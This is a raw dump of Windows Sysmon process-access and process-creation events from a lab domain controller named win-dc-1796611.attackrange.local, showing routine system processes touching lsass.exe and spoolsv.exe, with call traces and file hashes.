09:09:35.347{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.335{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.335{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.312{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.312{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.307{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.301{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.300{A5F018FF-28BD-5F80-0A00-000000007F01}852940C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.287{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe10.0.14393.3808 (rs1_release.200707-2105)Spooler SubSystem AppMicrosoft® Windows® Operating SystemMicrosoft Corporationspoolsv.exeC:\Windows\System32\spoolsv.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=0105816460F59AAC077848616872DD7C,SHA256=37297B9EED859DBA103252CD3CFDBD88DC752C96D001A3C0E5FBF9F11D2ABAFF,IMPHASH=5788588905781015CF350C5A9ABBA1F2{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.283{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.283{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.283{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.283{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:34.090{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2540C:\Windows\system32\wermgr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:34.090{A5F018FF-28BF-5F80-0F00-000000007F01}11282924C:\Windows\system32\svchost.exe{00000000-0000-0000-0000-000000000000}2540C:\Windows\system32\wermgr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\wer.dll+6dc28|C:\Windows\System32\wer.dll+370d0|C:\Windows\System32\wer.dll+383dc|C:\Windows\System32\wer.dll+13954|C:\Windows\System32\wer.dll+51b6|c:\windows\system32\wuaueng.dll+d4e38|c:\windows\system32\wuaueng.dll+554a8|c:\windows\system32\wuaueng.dll+4e24b|c:\windows\system32\wuaueng.dll+4e49b|c:\windows\system32\wuaueng.dll+4e5fe|c:\windows\system32\wuaueng.dll+4fb28|c:\windows\system32\wuaueng.dll+5c36f|c:\windows\system32\wuaueng.dll+4d1d5|c:\windows\system32\wuaueng.dll+4c805|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:30.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:30.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.965{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 